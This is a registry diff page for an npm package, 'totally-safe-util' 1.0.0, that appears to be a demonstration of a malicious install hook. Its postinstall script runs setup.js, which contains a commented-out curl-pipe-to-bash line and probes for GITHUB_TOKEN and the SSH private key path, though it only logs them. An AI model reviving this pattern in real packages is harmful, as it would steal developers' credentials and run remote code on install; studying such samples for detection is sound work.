totally-safe-util 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +13 -0
- package/readme.md +5 -0
- package/setup.js +19 -0
package/package.json
ADDED
|
@@ -0,0 +1,13 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "totally-safe-util",
|
|
3
|
+
"version": "1.0.0",
|
|
4
|
+
"main": "index.js",
|
|
5
|
+
"scripts": {
|
|
6
|
+
"postinstall": "node setup.js",
|
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
|
8
|
+
},
|
|
9
|
+
"keywords": [],
|
|
10
|
+
"author": "",
|
|
11
|
+
"license": "ISC",
|
|
12
|
+
"description": ""
|
|
13
|
+
}
|
package/readme.md
ADDED
package/setup.js
ADDED
|
@@ -0,0 +1,19 @@
|
|
|
1
|
+
const cp = require("child_process");
|
|
2
|
+
const fs = require("fs");
|
|
3
|
+
const os = require("os");
|
|
4
|
+
|
|
5
|
+
// ⚠️ Simulated attack (SAFE — no real execution)
|
|
6
|
+
console.log("Simulating remote payload execution...");
|
|
7
|
+
// cp.exec('curl http://example.com/payload.sh | bash'); // commented
|
|
8
|
+
|
|
9
|
+
// ⚠️ Simulated env access
|
|
10
|
+
const token = process.env.GITHUB_TOKEN;
|
|
11
|
+
console.log("Simulated token read:", token ? "[FOUND]" : "[NOT FOUND]");
|
|
12
|
+
|
|
13
|
+
// ⚠️ Simulated SSH access
|
|
14
|
+
const sshPath = os.homedir() + "/.ssh/id_rsa";
|
|
15
|
+
console.log("Would read:", sshPath);
|
|
16
|
+
|
|
17
|
+
// ⚠️ Fake encoded payload
|
|
18
|
+
const payload = "aGVsbG8gd29ybGQ=";
|
|
19
|
+
console.log("Encoded payload:", payload);
|